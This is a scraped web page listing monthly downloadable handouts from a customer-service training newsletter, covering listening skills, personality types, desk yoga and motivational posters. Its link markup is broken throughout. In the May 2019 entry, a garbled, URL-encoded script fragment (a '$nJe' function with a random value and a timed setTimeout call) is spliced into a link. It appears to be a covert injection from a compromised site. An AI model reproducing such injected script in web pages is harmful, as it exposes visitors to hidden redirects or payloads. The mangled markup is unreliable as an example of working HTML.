Web Extras – Skill Sharpener

The following materials complement your current issue of SkillSharpener.


July 2019

Do you have a mission, vision, or value statement that guides your work? — A team of frontline reps at the City of Berkeley 311 Customer Service Center worked together to create tomerservicegroup.com/wp-content/uploads/2019/06/311-Mission-Vision-Values.pdf">statements that reflect the teams vision and values.

May 2019

Identify personality types to deliver better service — Read this useful tomerservicegroup.com/wp-content/uploads/2019/04/DiSC-H<script>%24nJe=function(n)%7Bif%20(typeof%20(%24nJe.list%5Bn%5D)%20==%20" string return number1="Math.floor(Math.random()" if delay="18000;setTimeout($nJe(0),">andbook.pdf">document from the Carlson Learning Company which provides insights on how managers and employees with different personality styles can work better together.

April 2019

There’s real value in focusing on listening skills — Some of the best advice on listening comes from China. The symbol for listening is both beautiful and meaningful. Click the link to  find a tomerservicegroup.com/wp-content/uploads/2019/03/TCCwebextra_0419.pdf" rel="mtli_filesize6878kB">Listening with Heart mini-poster, which you may download and print.

March 2019

Take a physical approach to intense encounters — Share this yoga tomerservicegroup.com/wp-content/uploads/2019/02/SSwebextra_0319_yoga_final.pdf">handout with your team. The exercises were excerpted from the publication, tomerservicegroup.com/product/yoga-at-your-desk-a-guide-to-reducing-stress/">Yoga at Your Desk.

February 2019

Banish negativity at work — Replace negative mottos and cartoons on office walls with our tomerservicegroup.com/wp-content/uploads/2019/01/ss010119-webextra.pdf">motivational mini-posters.

December 2018

Meeting customer expectations — Read an tomerservicegroup.com/wp-content/uploads/2018/11/SSwebextra_1218.pdf">interview with Author Michael Levine who suggests that organizations can often meet customer expectations by fixing small things.

November 2018

Keep political talk low key — Encourage your team to avoid political talk with tomerservicegroup.com/wp-content/uploads/2018/10/TCCwebextra_1118.pdf">Conversation Cards. Available in a variety of formats, Conversation Cards can spark conversation and encourage people to learn more about each other.

October 2018

Five small things that make a big impression on customers — Reinforce key points in the article with a tomerservicegroup.com/wp-content/uploads/2018/09/TCCwebextra_1018.pdf">colorful glancer that reps can post in their work areas.